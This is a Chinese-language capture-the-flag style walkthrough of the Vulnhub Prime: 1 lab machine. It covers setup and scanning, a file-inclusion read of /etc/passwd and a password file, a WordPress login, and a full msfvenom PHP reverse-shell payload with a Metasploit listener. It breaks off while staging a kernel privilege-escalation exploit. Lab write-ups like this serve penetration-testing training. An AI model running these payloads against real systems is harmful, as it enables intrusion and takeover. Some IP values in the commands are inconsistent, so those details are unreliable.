目录
1.2 下载 Prime Series Level-1 靶机
2.6.2 怎么才可以弹shell是root权限的shell
本篇文章详细介绍了 Prime Series Level-1 靶机的完整复现过程,包括环境设置、漏洞利用步骤、命令详细解释。
1.2 下载 Prime Series Level-1 靶机
Prime Series Level-1 靶机可以从 Vulnhub 网站下载。Vulnhub 是一个提供各种可下载的靶机镜像的平台,专为安全学习和渗透测试练习设计。
- 访问 Vulnhub 网站上的 Prime Series Level-1 页面:Prime: 1 ~ VulnHub
- 在页面上找到下载链接,通常标记为 "Download" 或 "Mirror"。
- 点击链接开始下载靶机镜像文件(通常是 .ova 或 .zip 格式)。
- 下载可能需要一些时间,取决于您的网络速度,文件大小通常在 500MB 到 2GB 之间。
- 如果下载的是 .zip 文件,请在下载完成后解压缩,获取 .ova 或 .vmdk 文件。
1.3 导入靶机到虚拟化环境
下载完成后,我们需要将靶机导入到虚拟化环境中。
1.3.1 导入到 VMware
- 打开 VMware Workstation/Player。
- 点击 "文件" > "打开"(或使用快捷键 Ctrl+O)。
- 浏览并选择您下载的 .ova 文件(如果是 .vmdk 文件,则需要创建新虚拟机并使用现有虚拟磁盘)。
- 在导入向导中,您可以修改虚拟机名称和存储位置,或保留默认设置。
- 点击 "导入" 按钮开始导入过程。
- 导入完成后,虚拟机将出现在您的虚拟机库中。
1.4 配置网络设置
为了能够与靶机进行交互,我们需要正确配置网络设置。最常用的设置是使用 NAT 网络或主机专用网络。
1.4.1 VMware 网络配置
- 在 VMware 中选择导入的靶机,右键点击并选择 "设置"。
- 选择 "网络适配器" 选项。
- 选择 "NAT" 或 "仅主机模式" 网络。
-
- NAT:允许虚拟机访问外部网络,同时通过主机的 IP 地址隐藏虚拟机。
-
- 仅主机模式:创建一个隔离的网络,只有主机和虚拟机可以相互通信,虚拟机无法访问外部网络。
- 点击 "确定" 保存设置。
1.4.2 VirtualBox 网络配置
- 在 VirtualBox 中选择导入的靶机,右键点击并选择 "设置"。
- 选择 "网络" 选项卡。
- 在 "连接方式" 下拉菜单中,选择 "NAT" 或 "仅主机网络"。
-
- NAT:允许虚拟机访问外部网络,同时通过主机的 IP 地址隐藏虚拟机。
-
- 仅主机网络:创建一个隔离的网络,只有主机和虚拟机可以相互通信,虚拟机无法访问外部网络。
- 点击 "确定" 保存设置。
1.6 准备攻击环境
为了对靶机进行渗透测试,我们需要一个攻击环境。Kali Linux 是最常用的渗透测试操作系统,包含了大量预装的安全工具。
1.6.1 下载并安装 Kali Linux
- 访问 Kali Linux 官方网站 (Get Kali | Kali Linux) 下载 Kali Linux 虚拟机镜像。
- 选择适合您虚拟化软件的版本(VMware 或 VirtualBox)。
- 下载完成后,按照与靶机相同的方式导入 Kali Linux 虚拟机。
- 配置 Kali Linux 的网络设置,确保与靶机在同一网络中(使用相同的 NAT 或仅主机网络)。
- 启动 Kali Linux 虚拟机,默认用户名为 "kali",密码为 "kali"。
1.6.2 确认网络连接
在开始渗透测试之前,我们需要确认 Kali Linux 和靶机之间的网络连接正常。
- 在 Kali Linux 中打开终端。
- 使用以下命令扫描本地网络,找到靶机的 IP 地址:
┌──(root㉿kali)-[/home/kali/桌面]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:f0:80:a2, IPv4: 61.139.2.130
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
61.139.2.1 00:50:56:c0:00:08 VMware, Inc.
61.139.2.2 00:50:56:f2:4b:f1 VMware, Inc.
61.139.2.129 00:0c:29:aa:91:52 VMware, Inc.
61.139.2.254 00:50:56:fa:62:8f VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.093 seconds (122.31 hosts/sec). 4 responded
-
- 61.139.2.1 (VMware) - 很可能是网关
-
- 61.139.2.2 (VMware) - 可能是网络设备或服务器
-
- 61.139.2.254 (VMware) - 可能是备用网关或路由器
-
- 61.139.2.130 - Kali机器
-
- MAC地址前缀00:0C:29是VMware分配给虚拟机客户机的标准前缀
- 命令执行后,您将看到网络中的所有设备,包括靶机。记下靶机的 IP 地址,我们将在后续步骤中使用它。
- 可以使用 nmap 进行扫描:
┌──(root㉿kali)-[/home/kali/桌面]
└─# nmap -sn 61.139.2.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2025-03-25 10:04 CST
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 50.78% done; ETC: 10:04 (0:00:01 remaining)
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 53.14% done; ETC: 10:04 (0:00:01 remaining)
Nmap scan report for 61.139.2.1
Host is up (0.00019s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 61.139.2.2
Host is up (0.000099s latency).
MAC Address: 00:50:56:F2:4B:F1 (VMware)
Nmap scan report for 61.139.2.129
Host is up (0.00017s latency).
MAC Address: 00:0C:29:AA:91:52 (VMware)
Nmap scan report for 61.139.2.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:FA:62:8F (VMware)
Nmap scan report for 61.139.2.130
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.64 seconds
#显示扫描的总IP数量、发现的活跃主机数量和总扫描时间
#显示nmap版本、扫描开始时间和时区 #显示扫描已进行的时间、完成的主机数量和当前扫描状态 #对每个发现的活跃主机显示IP地址、响应延迟和MAC地址
#延迟时间(latency)表示主机响应速度,通常本地网络延迟很低 #没有显示延迟和MAC地址,这可能是扫描机器自身,nmap不会对自己进行ARP扫描
1.7 故障排除
如果在设置过程中遇到问题,以下是一些常见问题的解决方案:
1.8 下一步
环境设置完成后,准备好开始对 Prime Series Level-1 靶机进行渗透测试。接下来的步骤将包括:
- 网络扫描和信息收集
- 漏洞发现和利用
- 权限提升
- 后渗透测试活动
这些步骤将在后续的章节中详细介绍。
2. 漏洞利用步骤
2.1 网络扫描与信息收集
在开始渗透测试之前,我们需要先确定靶机的 IP 地址并扫描开放的端口,以便了解可能的攻击面。
2.1.1 使用 arp-scan 确定靶机 IP
首先,我们使用 arp-scan 工具扫描本地网络,找出靶机的 IP 地址:
┌──(root㉿kali)-[/home/kali/桌面]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:f0:80:a2, IPv4: 61.139.2.130
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
61.139.2.1 00:50:56:c0:00:08 VMware, Inc.
61.139.2.2 00:50:56:f2:4b:f1 VMware, Inc.
61.139.2.129 00:0c:29:aa:91:52 VMware, Inc.
61.139.2.132 00:0c:29:09:89:47 VMware, Inc.
61.139.2.254 00:50:56:fa:62:8f VMware, Inc.
5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.282 seconds (112.18 hosts/sec). 5 responded
sudo
:以管理员权限运行命令,因为 ARP 扫描需要直接访问网络接口
arp-scan
:调用 ARP 扫描工具
-l
:表示"本地网络"(local network),扫描与当前主机位于同一子网的所有设备
这个命令会扫描本地网络中的所有设备,并显示它们的 IP 地址和 MAC 地址。在输出结果中,我们需要找到靶机的 IP 地址。在本例中,靶机的 IP 地址是 61.139.2.132
2.1.2 使用 nmap 扫描端口
确定靶机 IP 后,我们使用 nmap 扫描靶机开放的端口,以了解可能的服务和攻击面:
# 快速扫描方式 nmap -sS -T5 --min-rate 10000 61.139.2.132 -sC -p-
┌──(root㉿kali)-[/home/kali/桌面]
└─# nmap -sS -T5 --min-rate 10000 61.139.2.132 -sC -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2025-03-25 11:08 CST
Nmap scan report for 61.139.2.132
Host is up (0.00094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)
| 256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)
|_ 256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)
80/tcp open http
|_http-title: HacknPentest
MAC Address: 00:0C:29:09:89:47 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds
这些命令的参数解释:
-sS
:使用 TCP SYN 扫描(半开扫描)
-T5
:设置扫描速度为最快(T5)
--min-rate 10000
:设置最小发包速率
-sC
:使用默认脚本进行扫描 相当于--script=default
( nmap使用默认的脚本集进行扫描)
-p-
:扫描所有端口(1-65535)与其他端口扫描参数的比较
-
-p-
vs-p 1-65535
:这两者功能完全相同,都是扫描全部端口
-
-p-
vs 默认扫描:默认情况下,nmap只扫描最常见的1000个端口
-
-p-
vs-F
(快速扫描):快速扫描只检查最常见的100个端口
-
- 示范
-p 1-1000
- 示范
-A
:启用操作系统检测、版本检测、脚本扫描和路由跟踪
-sV
:探测开放端口以确定服务/版本信息
-T4
:设置扫描速度为较快(T4)
扫描结果显示靶机开放了两个端口:
- 22/tcp:SSH 服务
- 80/tcp:HTTP 服务(Web 服务器)
扫描不到端口,
- 2.2 Web 应用扫描与漏洞发现
2.2 Web 应用扫描与漏洞发现
既然我们发现靶机运行了 Web 服务,接下来我们将对 Web 应用进行扫描和分析,寻找可能的漏洞。
2.2.1 访问 Web 服务
首先,我们在浏览器中访问靶机的 Web 服务:
http://61.139.2.132:80
查看网页内容和源代码,寻找可能的线索。在本例中,初始页面没有提供太多有用信息。
2.2.2 使用 dirb 扫描目录
接下来,我们使用 dirb 工具扫描网站目录,寻找隐藏的文件和目录:
┌──(root㉿kali)-[/home/kali/桌面]
└─# dirb http://61.139.2.132/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Mar 25 11:12:03 2025
URL_BASE: http://61.139.2.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://61.139.2.132/ ----
+ http://61.139.2.132/dev (CODE:200|SIZE:131)
+ http://61.139.2.132/index.php (CODE:200|SIZE:136)
==> DIRECTORY: http://61.139.2.132/javascript/
+ http://61.139.2.132/server-status (CODE:403|SIZE:277)
==> DIRECTORY: http://61.139.2.132/wordpress/
---- Entering directory: http://61.139.2.132/javascript/ ----
==> DIRECTORY: http://61.139.2.132/javascript/jquery/
---- Entering directory: http://61.139.2.132/wordpress/ ----
+ http://61.139.2.132/wordpress/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-content/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-includes/
+ http://61.139.2.132/wordpress/xmlrpc.php (CODE:405|SIZE:42)
---- Entering directory: http://61.139.2.132/javascript/jquery/ ----
+ http://61.139.2.132/javascript/jquery/jquery (CODE:200|SIZE:284394)
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/ ----
+ http://61.139.2.132/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/css/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/images/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/includes/
+ http://61.139.2.132/wordpress/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/js/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/maint/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/network/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-admin/user/
---- Entering directory: http://61.139.2.132/wordpress/wp-content/ ----
+ http://61.139.2.132/wordpress/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://61.139.2.132/wordpress/wp-content/plugins/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-content/themes/
==> DIRECTORY: http://61.139.2.132/wordpress/wp-content/uploads/
---- Entering directory: http://61.139.2.132/wordpress/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/network/ ----
+ http://61.139.2.132/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://61.139.2.132/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)
---- Entering directory: http://61.139.2.132/wordpress/wp-admin/user/ ----
+ http://61.139.2.132/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://61.139.2.132/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)
---- Entering directory: http://61.139.2.132/wordpress/wp-content/plugins/ ----
+ http://61.139.2.132/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)
---- Entering directory: http://61.139.2.132/wordpress/wp-content/themes/ ----
+ http://61.139.2.132/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)
---- Entering directory: http://61.139.2.132/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Tue Mar 25 11:13:21 2025
DOWNLOADED: 46120 - FOUND: 15
dirb 会使用默认字典对网站进行目录扫描。扫描结果显示了一些有趣的目录,包括:
/dev
- 开发目录,通常包含测试文件或开发中的内容
/index.php
- 网站主页
/wordpress/
- WordPress安装目录
- WordPress版本识别:
wpscan --url http://61.139.2.132/wordpress
-
- 识别WordPress版本
-
- 扫描已知漏洞和弱点
┌──(root㉿kali)-[/home/kali/桌面]
└─# nikto -h http://61.139.2.132
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 61.139.2.132
+ Target Hostname: 61.139.2.132
+ Target Port: 80
+ Start Time: 2025-03-25 11:13:57 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: <http://61.139.2.132/wordpress/index.php?rest_route=/>; rel="https://api.w.org/". See: https://www.drupal.org/
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2025-03-25 11:14:23 (GMT8) (26 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
-
- 服务器信息:
-
-
- Apache/2.4.18 (Ubuntu) - 过时的Apache版本,可能存在漏洞
-
-
-
- 缺少安全相关的HTTP头(X-Frame-Options, X-Content-Type-Options)
-
-
- WordPress信息:
-
-
- 确认存在WordPress安装
-
-
-
- 通过wp-links-opml.php可以获取WordPress版本5.2.2
- 通过wp-links-opml.php可以获取WordPress版本5.2.2
-
- 看看这个版本的历史漏洞
┌──(root㉿kali)-[/home/kali/桌面]
└─# searchsploit wordpress 5.2.2
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------ ---------------------------------
NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi | php/webapps/51042.txt
Wordpress Core 5.2.2 - 'post previews' XSS | php/webapps/49338.txt
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service | php/dos/47800.py
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection | php/webapps/48918.sh
/javascript/
- JavaScript文件目录
WordPress结构:
- 完整的WordPress安装,包含标准目录结构:
-
/wordpress/wp-admin/
- 管理后台这里直接尝试访问http://61.139.2.132/wordpress/wp-login.php
-
- 看到这个登录框可以尝试爆破,
wpscan --url http://61.139.2.132/wordpress --enumerate u,p,t
得到用户victor,但是密码多种方式都爆破不出来,只能后面再尝试了
- 看到这个登录框可以尝试爆破,
-
- 在靶机里面也能看到
- 在靶机里面也能看到
-
/wordpress/wp-content/
- 主题、插件和上传内容
-
/wordpress/wp-includes/
- WordPress核心文件
这里访问尝试
我们还可以使用过滤器扫描特定类型的文件:
dirb http://192.168.236.136 -X .txt,.php,.zip
┌──(root㉿kali)-[/home/kali/桌面]
└─# dirb http://61.139.2.132 -X .txt,.php,.zip
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Mar 25 11:27:13 2025
URL_BASE: http://61.139.2.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.php,.zip) | (.txt)(.php)(.zip) [NUM = 3]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://61.139.2.132/ ----
+ http://61.139.2.132/image.php (CODE:200|SIZE:147)
+ http://61.139.2.132/index.php (CODE:200|SIZE:136)
+ http://61.139.2.132/secret.txt (CODE:200|SIZE:412)
-----------------
END_TIME: Tue Mar 25 11:27:25 2025
DOWNLOADED: 13836 - FOUND: 3
2.2.3 发现关键文件
通过扫描和分析,我们发现了三个关键文件:
- index.php
- image.php
- secret.txt
尝试访问这些文件,发现提示需要找到 location.txt 文件才能进行下一步。
2.2.4 使用 wfuzz 爆破参数
为了找到正确的参数,我们使用 wfuzz 工具进行参数爆破:
┌──(root㉿kali)-[/home/kali/桌面]
└─# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://61.139.2.132/index.php?FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://61.139.2.132/index.php?FUZZ
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000013: 200 7 L 12 W 136 Ch "200"
000000006: 200 7 L 12 W 136 Ch "1"
000000008: 200 7 L 12 W 136 Ch "100"
000000015: 200 7 L 12 W 136 Ch "2001"
000000002: 200 7 L 12 W 136 Ch "00"
000000005: 200 7 L 12 W 136 Ch "03"
000000003: 200 7 L 12 W 136 Ch "01"
000000011: 200 7 L 12 W 136 Ch "2"
000000004: 200 7 L 12 W 136 Ch "02"
000000016: 200 7 L 12 W 136 Ch "2002"
………………………………………………………………………………………………………………………………………………………………
这个命令会尝试使用字典中的每个单词作为参数名,发送请求到目标 URL。
由于所有响应的长度都相同,我们需要过滤出不同的响应:
┌──(root㉿kali)-[/home/kali/桌面]
└─# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://61.139.2.132/index.php?FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://61.139.2.132/index.php?FUZZ
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000341: 200 7 L 19 W 206 Ch "file"
Total time: 0
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 0
参数 --hw 12
表示隐藏字数为 12 的响应,这样可以过滤出不同的响应。
2.3 文件包含漏洞利用
通过前面的扫描和分析,我们发现了可能存在的文件包含漏洞,接下来我们将利用这个漏洞获取更多信息。
2.3.1 访问 location.txt
根据提示,我们尝试访问 location.txt 文件:
http://61.139.2.132/index.php?file=location.txt
访问后,我们得到了一个提示:secrettier360 是正确的参数,file 只是过渡参数。
2.3.2 使用 secrettier360 参数
接下来,我们尝试使用 secrettier360 参数:
http://61.139.2.132/index.php?secrettier360=123
发现index.php不能接,突然想到还有个images.php,尝试发现 image.php 接受这个参数,并提示我们找到了正确的参数。
2.3.3 利用文件包含漏洞读取敏感文件
既然我们找到了正确的参数,接下来我们可以尝试读取系统敏感文件:
http://61.139.2.132/image.php?secrettier360=/etc/passwd
这个命令会尝试读取系统的 /etc/passwd 文件,这是一个包含用户账户信息的文件。
可疑用户分析
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
✅ 潜在风险点:
saket
账户的comment
字段中出现了find password.txt file in my directory
,可能是提示信息或者植入的后门。
saket
用户没有指定 Shell,意味着该用户无法正常登录,但可能存在安全风险。
接下来,我们尝试读取这个密码文件:
http://61.139.2.132/image.php?secrettier360=/home/saket/password.txt
#若查看不到,换为目录遍历尝试
http://61.139.2.132/image.php?secrettier360=../../../home/saket/password.txt
成功读取到密码文件,内容是一串特殊字符:follow_the_ippsec
ssh连不上victor和saket
2.4 WordPress 漏洞利用
前面的扫描发现靶机上运行了 WordPress,接下来我们将尝试利用 WordPress 获取系统访问权限。
2.4.3 登录 WordPress
我们尝试使用之前找到的密码登录 WordPress:
- 访问 WordPress 登录页面:http://61.139.2.132/wordpress/wp-login.php
- victor follow_the_ippsec
成功登录到 WordPress 管理后台。
2.4.4 上传反弹 shell
现在我们已经获得了 WordPress 管理员权限,接下来我们可以上传一个反弹 shell 来获取系统访问权限。
首先,我们使用 msfvenom 生成一个 PHP 反弹 shell:
msfvenom -p php/meterpreter/reverse_tcp lhost=61.139.2.132 lport=7777 -o shell.php
这个命令会生成一个 PHP 反弹 shell,其中:
-p php/meterpreter/reverse_tcp
:指定 payload 类型
lhost=192.168.236.128
:指定攻击者的 IP 地址(替换为您的 Kali Linux IP)
lport=7777
:指定监听端口
-o shell.php
:指定输出文件名
┌──(root㉿kali)-[/home/kali/桌面]
└─# cat shell.php
/*<?php /**/ error_reporting(0); $ip = '61.139.2.130'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
2.4.5 设置 Metasploit 监听器
在触发反弹 shell 之前,我们需要设置 Metasploit 监听器:
# 启动 msfconsole
msfconsole
# 使用 multi/handler 模块
use exploit/multi/handler
# 设置 payload
set payload php/meterpreter/reverse_tcp
# 设置监听 IP(您的 Kali Linux IP)
set lhost 192.168.236.128
# 设置监听端口
set lport 7777
# 启动监听器
run
2.4.6 触发反弹 shell
设置好监听器后,我们访问上传的 PHP 文件来触发反弹 shell:
http://61.139.2.132/wordpress/wp-content/themes/twentynineteen/secret.php
成功触发后,我们将在 Metasploit 控制台中获得一个 meterpreter 会话,这意味着我们已经获得了对靶机的初始访问权限。
2.5 权限提升
获得初始访问权限后,我们的目标是提升权限,获得 root 权限。
2.5.1 收集系统信息
首先,我们需要收集系统信息,了解可能的提权途径:
shell #进入shell交互式
whoami
www-data
uname -a
Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/issue
Ubuntu 16.04.3 LTS \n \l
#查看有没有符合版本的,这里发现有这种版本
msf6 > searchsploit 16.04 Ubuntu
[*] exec: searchsploit 16.04 Ubuntu
---------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------- ---------------------------------
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local C | linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege | linux/local/40054.c
Google Chrome (Fedora 25 / Ubuntu 16.04) - 'tracker | linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Loca | linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/1 | linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/ | linux_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) - Reference Count Overf | linux/dos/39773.txt
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KA | linux/local/45175.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privi | linux/local/40759.rb
Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_c | linux/dos/46529.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'A | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilte | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.0 | windows_x86-64/local/47170.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput() | linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_ | linux/local/40489.txt
Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel | linux/dos/45919.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local P | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfi | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/ | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / | linux/local/47169.c
---------------------------------------------------- ---------------------------------
Shellcodes: No Results
这些命令会显示系统的内核版本和发行版信息。在本例中,靶机运行的是 Ubuntu 16.04。
2.5.2 搜索内核漏洞
接下来,我们搜索适用于 Ubuntu 16.04 的内核漏洞:
searchsploit 16.04 Ubuntu
搜索结果中,我们找到了一个适用的内核提权漏洞:CVE-2017-16995,对应的 exploit 是 45010.c。
2.5.3 获取并编译 exploit
我们从 Metasploit 的漏洞数据库中获取 exploit 代码:
# 在 Kali Linux 中
┌──(root㉿kali)-[/usr/…/exploitdb/exploits/linux/local]
└─# cp 45010.c /root
然后,我们将 exploit 上传到靶机:
# 在 meterpreter 会话中
meterpreter > upload /root/45010 /tmp/45010
[*] Uploading : /root/45010 -> /tmp/45010
[*] Uploaded -1.00 B of 21.11 KiB (-0.0%): /root/45010 -> /tmp/45010
[*] Completed : /root/45010 -> /tmp/45010
接下来,我们在靶机上编译并执行 exploit:
# 在 meterpreter 会话中的 shell 中
meterpreter > ls
Listing: /tmp
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
041777/rwxrwxrwx 4096 dir 2025-03-25 10:44:16 +0800 .ICE-unix
041777/rwxrwxrwx 4096 dir 2025-03-25 10:44:16 +0800 .Test-unix
100444/r--r--r-- 11 fil 2025-03-25 10:44:45 +0800 .X0-lock
041777/rwxrwxrwx 4096 dir 2025-03-25 10:44:45 +0800 .X11-unix
041777/rwxrwxrwx 4096 dir 2025-03-25 10:44:16 +0800 .XIM-unix
041777/rwxrwxrwx 4096 dir 2025-03-25 10:44:16 +0800 .font-unix
100644/rw-r--r-- 21616 fil 2025-03-25 19:00:05 +0800 45010
